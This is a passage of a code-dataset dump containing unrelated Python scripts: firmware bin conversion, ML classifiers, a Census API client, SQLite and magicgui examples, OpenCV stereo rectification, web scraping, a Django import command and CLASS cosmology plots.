Modelname)\r\n\r\n buf[0:32] = bufHead\r\n\r\n elif Modelname == InverterModel[3]:\r\n del buf[0: 32 * 1024 - 32]\r\n print(len(buf))\r\n # CRC 校验位\r\n crc_value = crc16_func(buf[32:])\r\n bufHead = configDataHead(len(buf) - 32, crc_value)\r\n\r\n buf[0:32] = bufHead\r\n else:\r\n pass\r\n\r\n# 仿照引擎的写法,把所有逻辑层面的都放在这边\r\n\r\n\r\ndef enginebuf(infilename, outfilename):\r\n # 并网105时文件都会更改文件名,410-02033-xx改为410-00033-xx\r\n resbuf = read_into_buffer(infilename)\r\n Modelname = ComfirmTheModelWithBuf(resbuf)\r\n if Modelname == InverterModel[0]:\r\n outfilename = outfilename.replace('410-02033', '410-00033', 1)\r\n ClipTheHeadWithBuf(resbuf, Modelname)\r\n with open(outfilename, 'wb') as f:\r\n f.write(resbuf)\r\n\r\n\r\ndef memory_map(filename, access=mmap.ACCESS_WRITE):\r\n size = os.path.getsize(filename)\r\n fd = os.open(filename, os.O_RDWR)\r\n return mmap.mmap(fd, size, access=access)\r\n\r\n# 另外有一个有趣特性就是 memoryview , 它可以通过零复制的方式对已存在的缓冲区执行切片操作,甚至还能修改它的内容。\r\n\r\n\r\n# 以下为测试\r\nif __name__ == '__main__':\r\n testbuf = read_into_buffer('410-02033-07(190).bin')\r\n ClipTheHeadWithBuf(testbuf, ComfirmTheModelWithBuf(testbuf))\r\n with open('out.bin', 'wb') as f:\r\n f.write(testbuf)\r\n","sub_path":"bin2bin/conversion.py","file_name":"conversion.py","file_ext":"py","file_size_in_byte":4720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"503811469","text":"import pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import cross_val_score\n\ndatafilename = \"data_clean.csv\"\ndataset = pd.read_csv(datafilename)\n#输出数据集的前6行\n#print(dataset.iloc[:5])\nX = dataset[[\n #'blueTopDamagePerMin',\n #'blueJunDamagePerMin',\n #'blueMidDamagePerMin',\n #'blueSupDamagePerMin',\n #'blueADCDamagePerMin',\n #'blueTopDamageTakenPerMin',\n #'blueJunDamageTakenPerMin',\n #'blueMidDamageTakenPerMin',\n #'blueSupDamageTakenPerMin',\n #'blueADCDamageTakenPerMin',\n 'blueGoldsPerMin',\n #'redTopDamagePerMin',\n #'redJunDamagePerMin',\n #'redMidDamagePerMin',\n #'redSupDamagePerMin',\n #'redADCDamagePerMin',\n #'redTopDamageTakenPerMin',\n #'redJunDamageTakenPerMin',\n #'redMidDamageTakenPerMin',\n #'redSupDamageTakenPerMin',\n #'redADCDamageTakenPerMin',\n 'redGoldsPerMin'\n ]]\nY = dataset[\"winnerColor\"]\nclf = RandomForestClassifier(n_estimators=14)\n#Train and get the\nclf.fit(X, Y )\nfeature_importance = clf.feature_importances_\nprint(feature_importance)\n\n#use cross_val_score to train and test\nscores = cross_val_score(clf, X, Y, cv=5)\nprint(scores.mean())\n\nprint(clf.predict([[1680,1240]]))\n","sub_path":"ReadCSV.py","file_name":"ReadCSV.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"7101256","text":"import matplotlib.pyplot as plt\nimport random\nimport numpy as np\nimport cv2\nimport zipfile\nfrom random import randint\nfrom PIL import Image\nimport re\nfrom sklearn.model_selection import train_test_split\nimport skimage\nimport pandas as pd\nimport sklearn\nimport matplotlib.pyplot as plt\n\nfrom skimage import transform\n\n# TensorFlow and tf.keras\nimport tensorflow as tf\nfrom tensorflow import keras\n\n# 03_ANN_NEW_DATA... only the grains in 882 are used for training \n# the ANN and segmented images are used to \n# train no-grain\n\n\"\"\"# 03_ANN_NEW_DATA... only the grains in 882 are used for training the ANN and segmented images are used to train no-grain\"\"\"\ndef AnnGrain(df,df_class):\n y_valor=df['Type']\n\n quantidade= df.groupby('Type').size()\n\n df_G = df[df[\"Type\"] == \"G\"] \n Cut=['Unnamed: 0','Type','Width']\n FotosG= df_G.drop(Cut,axis=1)\n\n\n Size=28\n img_G=[]\n\n Num,cols=FotosG.shape\n for i in range(Num):\n data=np.array(FotosG.iloc[i]).reshape(Size,Size)\n img = Image.fromarray(data.astype('uint8'), mode='L')\n img=np.float32(img)\n img28=cv2.resize(img,(Size,Size), interpolation = cv2.INTER_AREA)\n img_G.append(img28)\n\n df_Z = df[df[\"Type\"] == \"Z\"] \n Cut=['Unnamed: 0','Type','Width']\n FotosZ= df_Z.drop(Cut,axis=1)\n\n # We'll choose which is grain and withdraw from 750 segmented photos\n\n Size=28\n img_Z=[]\n\n Num,cols=FotosZ.shape\n for i in range(Num):\n data=np.array(FotosZ.iloc[i]).reshape(Size,Size)\n img = Image.fromarray(data.astype('uint8'), mode='L')\n img=np.float32(img)\n img28=cv2.resize(img,(Size,Size), interpolation = cv2.INTER_AREA)\n img_Z.append(img28)\n\n GRAO=[0,146,149,166,217,222,223,257,268,286,455,482,538,612,644,647,651,677] # 0 ate 749\n GRAO=np.array(GRAO)\n Ind=FotosZ.index\n FotosNG=FotosZ.copy()\n for i in GRAO:\n FotosNG=FotosNG.drop(Ind[i])\n\n PERCENT=245.0/(len(FotosNG.index))\n FotosNG=FotosNG.sample(frac=PERCENT, replace=True)\n\n rows,col=FotosG.shape\n y_total=[] # grao-->zero, nao grao-->1\n for i in range(rows):\n y_total.append(0) # # grao-->zero\n for i in range(rows,(2*rows)):\n y_total.append(1) # # nao grao-->zero\n\n frames = [FotosG,FotosNG]\n result = pd.concat(frames)\n\n #Define data train and data test\n\n W_train, W_test, yw_train, yw_test = train_test_split(np.array(result), np.array(y_total), \n test_size=0.30, shuffle=True, \n random_state=42)\n\n train_images=W_train #imagens utilizadas para o treino\n train_labels=yw_train # resposta esperada para o treino\n test_images=W_test\n test_labels=yw_test\n\n model = keras.Sequential([\n keras.layers.Flatten(input_shape=(28, 28)),\n keras.layers.Dense(128, activation='relu'),\n keras.layers.Dense(10)\n ])\n\n model.compile(optimizer='adam',\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=['accuracy'])\n\n # GRAIN use crop photos other cases segmented\n model.fit(train_images, train_labels, epochs=200)\n\n #ANN das imagens\n x=np.array(W_test)\n logits = model(x, training=False)\n prediction = tf.argmax(logits, axis=1, output_type=tf.int32)\n \n y_valor=np.copy(yw_test)\n data = {'y_Actual': y_valor,\n 'y_Predicted': prediction\n } # este dado esta no formato de dicionario\n\n df = pd.DataFrame(data, columns=['y_Actual','y_Predicted'])\n\n\n confusion_matrix = pd.crosstab(df['y_Actual'], df['y_Predicted'], rownames=['Actual'], colnames=['Predicted'])\n print(confusion_matrix)\n\n y_true = df['y_Actual']\n y_pred = df['y_Predicted']\n\n METRICS=sklearn.metrics.classification_report(y_true, y_pred)\n \n x_seg=np.array(df_class)\n logits = model(x_seg, training=False)\n y_pred= tf.argmax(logits, axis=1, output_type=tf.int32)\n y_pred= np.array(pd.DataFrame(y_pred))\n\n return y_pred,confusion_matrix,METRICS \n","sub_path":"ANN_FIND_GRAIN.py","file_name":"ANN_FIND_GRAIN.py","file_ext":"py","file_size_in_byte":3914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"408321367","text":"import json\nimport requests\nfrom xml.etree.ElementTree import XML\n\nALL = '*'\nENDPOINT_URL = 'http://thedataweb.rm.census.gov/data/%s/%s'\n\n\ndef list_or_str(v):\n \"\"\" Convert a single value into a list.\n \"\"\"\n if isinstance(v, (list, tuple)):\n return v\n return [v]\n\n\nclass CensusException(Exception):\n pass\n\n\nclass Client(object):\n\n def __init__(self, key):\n self._session = requests.session(params={'key': key})\n self._key = key\n\n def fields(self, flat=False):\n\n data = {}\n\n resp = requests.get(self.fields_url)\n doc = XML(resp.text)\n\n if flat:\n\n for elem in doc.iter('variable'):\n data[elem.attrib['name']] = \"%s: %s\" % (elem.attrib['concept'], elem.text)\n\n else:\n\n for concept_elem in doc.iter('concept'):\n\n concept = concept_elem.attrib['name']\n variables = {}\n\n for variable_elem in concept_elem.iter('variable'):\n variables[variable_elem.attrib['name']] = variable_elem.text\n\n data[concept] = variables\n\n return data\n\n def get(self, fields, geo, year=None):\n\n if year is None:\n year = self.default_year\n\n fields = list_or_str(fields)\n\n url = ENDPOINT_URL % (year, self.dataset)\n\n params = {\n 'get': \",\".join(fields),\n 'for': geo['for'],\n }\n\n if 'in' in geo:\n params['in'] = geo['in']\n\n resp = self._session.get(url, params=params)\n\n if resp.status_code == 200:\n\n data = json.loads(resp.text)\n # return data\n\n headers = data[0]\n return [dict(zip(headers, d)) for d in data[1:]]\n\n elif resp.status_code == 204:\n return []\n\n else:\n raise CensusException(resp.text)\n\n def state(self, fields, state_fips, **kwargs):\n return self.get(fields, geo={\n 'for': 'state:%s' % state_fips,\n })\n\n def state_county(self, fields, state_fips, county_fips):\n return self.get(fields, geo={\n 'for': 'county:%s' % county_fips,\n 'in': 'state:%s' % state_fips,\n })\n\n def state_county_subdivision(self, fields, state_fips, county_fips, subdiv_fips):\n return self.get(fields, geo={\n 'for': 'county subdivision:%s' % subdiv_fips,\n 'in': 'state:%s county:%s' % (state_fips, county_fips),\n })\n\n def state_county_tract(self, fields, state_fips, county_fips, tract):\n return self.get(fields, geo={\n 'for': 'tract:%s' % tract,\n 'in': 'state:%s county:%s' % (state_fips, county_fips),\n })\n\n def state_place(self, fields, state_fips, place):\n return self.get(fields, geo={\n 'for': 'place:%s' % place,\n 'in': 'state:%s' % state_fips,\n })\n\n def state_district(self, fields, state_fips, district):\n return self.get(fields, geo={\n 'for': 'congressional district:%s' % district,\n 'in': 'state:%s' % state_fips,\n })\n\n\nclass ACSClient(Client):\n\n default_year = 2010\n dataset = 'acs5'\n fields_url = \"http://www.census.gov/developers/data/2010acs5_variables.xml\"\n\n def us(self, fields, **kwargs):\n return self.get(fields, geo={'for': 'us:1'})\n\n\nclass SF1Client(Client):\n\n default_year = 2010\n dataset = 'sf1'\n fields_url = \"http://www.census.gov/developers/data/sf1.xml\"\n\n def state_msa(self, fields, state_fips, msa):\n return self.get(fields, geo={\n 'for': 'metropolitan statistical area/micropolitan statistical area:%s' % msa,\n 'in': 'state:%s' % state_fips,\n })\n\n def state_csa(self, fields, state_fips, csa):\n return self.get(fields, geo={\n 'for': 'combined statistical area:%s' % csa,\n 'in': 'state:%s' % state_fips,\n })\n\n def state_district_place(self, fields, state_fips, district, place):\n return self.get(fields, geo={\n 'for': 'place:' % place,\n 'in': 'state:%s congressional district:%s' % (state_fips, district),\n })\n\n def state_zip(self, fields, state_fips, zip):\n return self.get(fields, geo={\n 'for': 'zip code tabulation area:%s' % zip,\n 'in': 'state:%s' % state_fips,\n })\n\n\nclass Census(object):\n\n def __init__(self, key):\n self.acs = ACSClient(key)\n self.sf1 = SF1Client(key)\n","sub_path":"census/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"595856854","text":"##############################################################################\n# Parte do livro Introdução à Programação com Python\n# Autor: Nilo Ney Coutinho Menezes\n# Editora Novatec (c) 2010-2019\n# Primeira edição - Novembro/2010 - ISBN 978-85-7522-250-8\n# Segunda edição - Junho/2014 - ISBN 978-85-7522-408-3\n# Terceira edição - Janeiro/2019 - ISBN 978-85-7522-718-3\n# Site: http://python.nilo.pro.br/\n#\n# Arquivo: listagem3\\capítulo 11\\11.34.py\n# Descrição:\n##############################################################################\n\nimport sqlite3\nfrom contextlib import closing\n\ndados = [[\"São Paulo\", 43663672],\n [\"Minas Gerais\", 20593366], [\"Rio de Janeiro\", 16369178], [\"Bahia\", 15044127],\n [\"Rio Grande do Sul\", 11164050], [\"Paraná\", 10997462], [\"Pernambuco\", 9208511],\n [\"Ceará\", 8778575], [\"Pará\", 7969655], [\"Maranhão\", 6794298],\n [\"Santa Catarina\", 6634250], [\"Goiás\", 6434052], [\"Paraíba\", 3914418],\n [\"Espírito Santo\", 3838363], [\"Amazonas\", 3807923], [\"Rio Grande do Norte\", 3373960],\n [\"Alagoas\", 3300938], [\"Piauí\", 3184165], [\"Mato Grosso\", 3182114],\n [\"Distrito Federal\", 2789761], [\"Mato Grosso do Sul\", 2587267],\n [\"Sergipe\", 2195662], [\"Rondônia\", 1728214], [\"Tocantins\", 1478163],\n [\"Acre\", 776463], [\"Amapá\", 734995], [\"Roraima\", 488072]]\nwith sqlite3.connect(\"brasil.db\") as conexão:\n conexão.row_factory = sqlite3.Row\n with closing(conexão.cursor()) as cursor:\n cursor.execute(\"\"\"create table estados(\n id integer primary key autoincrement,\n nome text,\n população integer\n )\"\"\")\n cursor.executemany(\"insert into estados(nome, população) values(?,?)\", dados)\n conexão.commit()\n","sub_path":"capitulo 11/11.34.py","file_name":"11.34.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"597262658","text":"\"\"\"Widget demonstration of magicgui.\"\"\"\n\nfrom datetime import datetime\nfrom enum import Enum\nfrom pathlib import Path\n\nfrom magicgui import magicgui\n\n\nclass Medium(Enum):\n \"\"\"Enum for various media and their refractive indices.\"\"\"\n\n Glass = 1.520\n Oil = 1.515\n Water = 1.333\n Air = 1.0003\n\n\n@magicgui(\n call_button=\"Calculate\",\n orientation=\"vertical\",\n result_widget=True,\n another_float={\"widget_type\": \"Slider\"},\n filename={\"label\": \"Pick a file:\"},\n)\ndef widget_demo(\n boolean=True,\n integer=1,\n float=3.14159,\n another_float=4.5,\n string=\"Text goes here\",\n dropdown=Medium.Glass,\n datetime=datetime.now(),\n filename=Path.home(),\n):\n \"\"\"Run some computation.\"\"\"\n print(\"Running some computation...\")\n return locals().values()\n\n\nwidget_demo.changed.connect(lambda event: print(widget_demo))\nwidget_demo.show(run=True)\n","sub_path":"examples/widget_demo.py","file_name":"widget_demo.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"222651935","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom skimage.feature import match_descriptors, ORB, plot_matches\n\n# this functionis used to paint epipolar lines and corresponding points\ndef drawlines(img1src, img2src, lines, pts1src, pts2src):\n ''' img1 - image on which we draw the epilines for the points in img2\n lines - corresponding epilines '''\n r, c, _ = img1src.shape\n img1color = img1src\n img2color = img2src\n # img1color = cv2.cvtColor(img1src, cv2.COLOR_GRAY2RGB)\n # img2color = cv2.cvtColor(img2src, cv2.COLOR_GRAY2RGB)\n # Edit: use the same random seed so that two images are comparable!\n np.random.seed(0)\n for r, pt1, pt2 in zip(lines, pts1src, pts2src):\n color = tuple(np.random.randint(0, 255, 3).tolist())\n x0, y0 = map(int, [0, -r[2]/r[1]])\n x1, y1 = map(int, [c, -(r[2]+r[0]*c)/r[1]])\n img1color = cv2.line(img1color, (x0, y0), (x1, y1), color, 20)\n img1color = cv2.circle(img1color, tuple(pt1), 45, color, -1)\n img2color = cv2.circle(img2color, tuple(pt2), 45, color, -1)\n return img1color, img2color\n\nimg1 = cv2.imread('nL.jpeg',1) #queryimage # left image\nimg2 = cv2.imread('nP.jpeg',1) #trainimage # right image\nimg1_gray = cv2.imread('nL.jpeg',0) #queryimage # left image\nimg2_gray = cv2.imread('nP.jpeg',0) #trainimage # right image\n\ncv2.imshow(\"first image\",img1)\n\n# keypoint_matches = cv2.drawMatchesKnn(img1, kp1, img2, kp2,matches[300:500], None, **draw_params)\n# cv2.imshow(\"Keypoint matches\", keypoint_matches)\n\n# time to fidn fundamental matrix!\n# itr transform one image coordinate ssytem into anothers, allowing for funky\n# transofrmations between them\n# pts1=[[2038 633],[3637 1810], [1814 1860],[370 1492], [584 252],[1167 2750],[3704 529],[3361 2430],[1159 2081],[1392 1042]]\n# pts2=[[2163 8650], [3685 2069],[1757 2112],[746 1594],[978 439],[1096 2913],[3750 804],[3154 2736],[1309 2209],[1697 1148]]\npts1=[(2038, 633),(3637, 1810), (1814, 1860),(370, 1492), (584, 252),(1167, 2750),(3704, 529),(3361, 2430),(1159, 2081),(1392, 1042)]\npts2=[(2163, 8650), (3685, 2069),(1757, 2112),(746, 1594),(978, 439),(1096, 2913),(3750, 804),(3154, 2736),(1309, 2209),(1697, 1148)]\n\npts1 = np.int32(pts1)\npts2 = np.int32(pts2)\nprint(pts1)\nF, mask = cv2.findFundamentalMat(pts1,pts2,cv2.FM_LMEDS)\nprint(\"F is coming\")\nprint(F)\n\n# # We select only inlier points\n# pts1 = pts1[mask.ravel()==1]\n# pts2 = pts2[mask.ravel()==1]\n\n# Find epilines corresponding to points in right image (second image) and\n# drawing its lines on left image\nlines1 = cv2.computeCorrespondEpilines(\n pts2.reshape(-1, 1, 2), 2, F)\nlines1 = lines1.reshape(-1, 3)\nimg5, img6 = drawlines(img1, img2, lines1, pts1, pts2)\n\n# Find epilines corresponding to points in left image (first image) and\n# drawing its lines on right image\nlines2 = cv2.computeCorrespondEpilines(\n pts1.reshape(-1, 1, 2), 1, F)\nlines2 = lines2.reshape(-1, 3)\nimg3, img4 = drawlines(img2, img1, lines2, pts2, pts1)\nimg_epilines = np.concatenate((img5, img3), axis=1)\ncv2.imshow(\"Epilines\", img_epilines)\ncv2.imwrite(\"epilines_fig.jpeg\",img_epilines)\n# plt.subplot(121), plt.imshow(img5)\n# plt.subplot(122), plt.imshow(img3)\n# plt.suptitle(\"Epilines in both images\")\n# plt.show()\n\n# Stereo rectification (uncalibrated variant)\n# Adapted from: https://stackoverflow.com/a/62607343\nh1, w1, _ = img5.shape\nh2, w2, _ = img3.shape\n__, H1, H2 = cv2.stereoRectifyUncalibrated(\n np.float32(pts1), np.float32(pts2), F, imgSize=(w1, h1)\n)\n\n# Undistort (rectify) the images and save them\n# Adapted from: https://stackoverflow.com/a/62607343\nimg1_rectified = cv2.warpPerspective(img1, H1, (w1, h1))\nimg2_rectified = cv2.warpPerspective(img2, H2, (w2, h2))\nimg1_r_gray = cv2.warpPerspective(img1_gray, H1, (w1, h1))\nimg2_r_gray = cv2.warpPerspective(img2_gray, H2, (w2, h2))\ncv2.imwrite(\"rectified_1.png\", img1_rectified)\ncv2.imwrite(\"rectified_2.png\", img2_rectified)\nimg_rectified = np.concatenate((img1_rectified, img2_rectified), axis=1)\ncv2.imshow(\"Rectified\", img_rectified)\ncv2.imwrite(\"rectified_fig.jpeg\",img_rectified)\n\nimport math\nslope = math.degrees(math.atan(0.2647/0.3856))\nprint(slope)\ndef rotate_image(image, angle):\n image_center = tuple(np.array(image.shape[1::-1]) / 2)\n rot_mat = cv2.getRotationMatrix2D(image_center, angle, 1.0)\n result = cv2.warpAffine(image, rot_mat, image.shape[1::-1], flags=cv2.INTER_LINEAR)\n return result\nimg1_rectified = rotate_image(img1_rectified, slope)\nimg2_rectified = rotate_image(img2_rectified, slope)\n# img1_r_gray = rotate_image(img1_r_gray, slope)\n# img2_r_gray = rotate_image(img2_r_gray, slope)\nimg_rectified = np.concatenate((img1_rectified, img2_rectified), axis=1)\ncv2.imshow(\"Rectified\", img_rectified)\ncv2.imwrite(\"rectified_fig.jpeg\",img_rectified)\n# # Draw the rectified images\n# fig, axes = plt.subplots(1, 2, figsize=(15, 10))\n# axes[0].imshow(img1_rectified, cmap=\"gray\")\n# axes[1].imshow(img2_rectified, cmap=\"gray\")\n# # axes[0].axhline(250)\n# # axes[1].axhline(250)\n# # axes[0].axhline(450)\n# # axes[1].axhline(450)\n# plt.suptitle(\"Rectified images\")\n# plt.savefig(\"rectified_images.png\")\n# plt.show()\n\n# ------------------------------------------------------------\n# CALCULATE DISPARITY (DEPTH MAP)\n# Adapted from: https://github.com/opencv/opencv/blob/master/samples/python/stereo_match.py\n# and: https://docs.opencv.org/master/dd/d53/tutorial_py_depthmap.html\n\n# StereoSGBM Parameter explanations:\n# https://docs.opencv.org/4.5.0/d2/d85/classcv_1_1StereoSGBM.html\n\n# Matched block size. It must be an odd number >=1 . Normally, it should be somewhere in the 3..11 range.\nblock_size = 11\nmin_disp = -128\nmax_disp = 128\n# Maximum disparity minus minimum disparity. The value is always greater than zero.\n# In the current implementation, this parameter must be divisible by 16.\nnum_disp = max_disp - min_disp\n# Margin in percentage by which the best (minimum) computed cost function value should \"win\" the second best value to consider the found match correct.\n# Normally, a value within the 5-15 range is good enough\nuniquenessRatio = 10\n# Maximum size of smooth disparity regions to consider their noise speckles and invalidate.\n# Set it to 0 to disable speckle filtering. Otherwise, set it somewhere in the 50-200 range.\nspeckleWindowSize = 200\n# Maximum disparity variation within each connected component.\n# If you do speckle filtering, set the parameter to a positive value, it will be implicitly multiplied by 16.\n# Normally, 1 or 2 is good enough.\nspeckleRange = 2\ndisp12MaxDiff = 0\n\nstereo = cv2.StereoSGBM_create(\n minDisparity=min_disp,\n numDisparities=num_disp,\n blockSize=block_size,\n uniquenessRatio=uniquenessRatio,\n speckleWindowSize=speckleWindowSize,\n speckleRange=speckleRange,\n disp12MaxDiff=disp12MaxDiff,\n P1=8 * 1 * block_size * block_size,\n P2=32 * 1 * block_size * block_size,\n)\ndisparity_SGBM = stereo.compute(img1_r_gray, img2_r_gray)\n\n# Normalize the values to a range from 0..255 for a grayscale image\ndisparity_SGBM = cv2.normalize(disparity_SGBM, disparity_SGBM, alpha=255,\n beta=0, norm_type=cv2.NORM_MINMAX)\ndisparity_SGBM = np.uint8(disparity_SGBM)\n\ndef rotate_image(image, angle):\n image_center = tuple(np.array(image.shape[1::-1]) / 2)\n rot_mat = cv2.getRotationMatrix2D(image_center, angle, 1.0)\n result = cv2.warpAffine(image, rot_mat, image.shape[1::-1], flags=cv2.INTER_LINEAR)\n return result\ndisparity_SGBM_r = rotate_image(disparity_SGBM, slope)\nplt.imshow(disparity_SGBM_r, cmap='plasma')\nplt.colorbar()\nplt.show()\ncv2.imwrite(\"disparity_SGBM_norm.png\", disparity_SGBM_r)\n\n\n# img1 = cv2.imread('imL.png',0) #queryimage # left image\n# img2 = cv2.imread('imR.png',0) #trainimage # right image\n\n# descriptor_extractor = ORB()\n\n# descriptor_extractor.detect_and_extract(img1)\n# kp1 = descriptor_extractor.keypoints\n# des1 = descriptor_extractor.descriptors\n\n# descriptor_extractor.detect_and_extract(img2)\n# kp2 = descriptor_extractor.keypoints\n# des2 = descriptor_extractor.descriptors","sub_path":"task5_rectification_manual.py","file_name":"task5_rectification_manual.py","file_ext":"py","file_size_in_byte":8021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"185904171","text":"import requests\r\nimport urllib.request\r\nfrom bs4 import BeautifulSoup\r\nimport json\r\n\r\nurl = 'https://www.metatopos.eu/almanak.html'\r\nresponse = requests.get(url)\r\n\r\nsoup = BeautifulSoup(response.text, \"html.parser\")\r\nkieskring_data = soup.findAll('tr')\r\n\r\n#kieskring_data = kieskring_data[1:10]\r\nresult_dict = {}\r\n\r\n# Importeer gemeente-kieskring dict\r\nwith open('gemeente-kieskring.json') as json_file:\r\n gemeente_kieskring_dict = json.load(json_file)\r\n\r\nfor line in kieskring_data:\r\n [code, woonplaats, _, gemeente, provincie] = line.findAll('td')\r\n woonplaats = [el.strip() for el in woonplaats.get_text().split('/')]\r\n\r\n #print(code.get_text())\r\n #if not code.get_text():\r\n # print(\"Geen woonplaatscode!\")\r\n result_dict.update(dict.fromkeys(woonplaats, {'gemeente':gemeente.get_text(), 'kieskring':gemeente_kieskring_dict.get(gemeente.get_text()), 'provincie':provincie.get_text()}))\r\n\r\n\r\n# Opslaan als JSON\r\nwith open(\"woonplaats_data.json\", \"w\") as outfile:\r\n json.dump(result_dict, outfile)\r\n\r\n\r\nprint(result_dict.values())\r\n","sub_path":"woonplaats_data.py","file_name":"woonplaats_data.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"77607044","text":"from django.core.management.base import BaseCommand\nfrom library.models import Book, Author\n\n\nclass Command(BaseCommand):\n\n def add_arguments(self, parser):\n parser.add_argument(\"csv_path\", type=str, help='Path to Books csv')\n\n def handle(self, *args, **options):\n csv = options['csv_path']\n with open(csv, 'r') as books:\n for i, book in enumerate(books.readlines()):\n if i == 0:\n continue\n name, edition, publication_year, authors_id = book.replace('\\n', '').split(',')\n imported_book = Book.objects.create(name=name, edition=edition, publication_year=publication_year)\n for author_id in authors_id.split('-'):\n imported_book.authors.add(Author.objects.get(pk=author_id))\n","sub_path":"library/management/commands/import_books.py","file_name":"import_books.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"403992417","text":"# must use python 2\n\nfrom classy import Class\nimport matplotlib.pyplot as plt \nimport numpy as np \nimport math\n\nmax_l = 5000\n\nmax_scalars = '5000'\n\nell = np.array( range(1, max_l+1) ) \n\ndef getDl( pii1=0.5e-10, pii2=1e-9, pri1=1e-13 ):\n # Define your cosmology (what is not specified will be set to CLASS default parameters)\n params = {\n 'output': 'tCl lCl pCl', \n 'modes': 's', # scalar perturbations\n 'lensing': 'yes',\n 'ic': 'ad&cdi',\n 'l_max_scalars':max_scalars,\n 'P_k_ini type': 'two_scales',\n 'k1': 0.002,\n 'k2': 0.1,\n 'P_{RR}^1': 2.34e-9,\n 'P_{RR}^2': 2.115e-9,\n 'P_{II}^1' : pii1,\n 'P_{II}^2' : pii2,\n 'P_{RI}^1' : pri1}\n\n cosmo = Class()\n cosmo.set(params)\n cosmo.compute()\n\n # print(dir(cosmo)) # use this command to see what is in the cosmo\n\n # It is a dictionary that contains the fields: tt, te, ee, bb, pp, tp\n cls = cosmo.raw_cl(max_l) # Access the cl until l=1000\n\n yy = np.array( cls['ee'][1:] )\n zz = np.array( cls['tt'][1:] ) \n yz = np.array( cls['te'][1:] ) \n\n ee = ((ell)*(ell+1) * yy / (2 * math.pi))\n tt = ((ell)*(ell+1) * zz / (2 * math.pi))\n te = ((ell)*(ell+1) * yz / (2 * math.pi))\n\n \n cosmo.struct_cleanup()\n return tt, te, ee\n\n# Print on screen to see the output\n# print len(cls['tt'])\n\n\npii1 = 0.5e-10\npii2 = 1e-9\npri1 = 1e-13\ndpii1 = pii1 / 10000.0\ndpii2 = pii2 / 10000.0\ndpri1 = pri1 / 10000.0\n\npii1_tt1, pii1_te1, pii1_ee1 = getDl( pii1 = pii1 - dpii1 )\npii1_tt2, pii1_te2, pii1_ee2 = getDl( pii1 = pii1 + dpii1 )\n\npii2_tt1, pii2_te1, pii2_ee1 = getDl( pii2 = pii2 - dpii2 )\npii2_tt2, pii2_te2, pii2_ee2 = getDl( pii2 = pii2 + dpii2 )\n\npri1_tt1, pri1_te1, pri1_ee1 = getDl( pri1 = pri1 - dpri1 )\npri1_tt2, pri1_te2, pri1_ee2 = getDl( pri1 = pri1 + dpri1 )\n\n\n# plot something with matplotlib...\n\n\nplt.plot( (pii1_tt2 - pii1_tt1)/(2 * dpii1), label='$P_{II}^1$', markersize=0 )\nplt.plot( (pii2_tt2 - pii2_tt1)/(2 * dpii2), label='$P_{II}^2$', markersize=0 )\n# plt.plot( (pri1_tt2 - pri1_tt1)/(2 * dpri1), label='$P_{RI}^1$', markersize=0 )\nplt.title('TT Derivatives')\nplt.ylabel(r'$d \\mathcal{D}_l / d P_{II}^j$')\nplt.xlabel(r'$l$')\nplt.legend()\nplt.savefig('tt.pdf')\nplt.clf()\n\n\nplt.plot( (pii1_te2 - pii1_te1)/(2 * dpii1), label='$P_{II}^1$', markersize=0 )\nplt.plot( (pii2_te2 - pii2_te1)/(2 * dpii2), label='$P_{II}^2$', markersize=0 )\n# plt.plot( (pri1_te2 - pri1_te1)/(2 * dpri1), label='$P_{RI}^1$', markersize=0 )\nplt.title('TE Derivatives')\nplt.ylabel(r'$d \\mathcal{D}_l / d P_{II}^j$')\nplt.xlabel(r'$l$')\nplt.legend()\nplt.savefig('te.pdf')\nplt.clf()\n\n\nplt.plot( (pii1_ee2 - pii1_ee1)/(2 * dpii1), label='$P_{II}^1$', markersize=0 )\nplt.plot( (pii2_ee2 - pii2_ee1)/(2 * dpii2), label='$P_{II}^2$', markersize=0 )\n# plt.plot( (pri1_ee2 - pri1_ee1)/(2 * dpri1), label='$P_{RI}^1$', markersize=0 )\nplt.title('EE Derivatives')\nplt.ylabel(r'$d \\mathcal{D}_l / d P_{II}^j$')\nplt.xlabel(r'$l$')\nplt.legend()\nplt.savefig('ee.pdf')\nplt.clf()\n\nplt.plot( (pii1_ee2 - pii1_ee1)/(2 * dpii1), label='$P_{II}^1$', markersize=0 )\nplt.plot( (pii2_ee2 - pii2_ee1)/(2 * dpii2), label='$P_{II}^2$', markersize=0 )\n# plt.plot( (pri1_ee2 - pri1_ee1)/(2 * dpri1), label='$P_{RI}^1$', markersize=0 )\nplt.title('EE Derivatives')\nplt.ylabel(r'$d \\mathcal{D}_l / d P_{II}^j$')\nplt.xlabel(r'$l$')\nplt.yscale('log')\nplt.legend()\nplt.savefig('logee.pdf')\nplt.clf()\n\n\nplt.plot( (pii1_tt2 - pii1_tt1)/(2 * dpii1), label='$P_{II}^1$', markersize=0 )\nplt.plot( (pii2_tt2 - pii2_tt1)/(2 * dpii2), label='$P_{II}^2$', markersize=0 )\n# plt.plot( (pri1_tt2 - pri1_tt1)/(2 * dpri1), label='$P_{RI}^1$', markersize=0 )\nplt.title('TT Derivatives')\nplt.ylabel(r'$d \\mathcal{D}_l / d 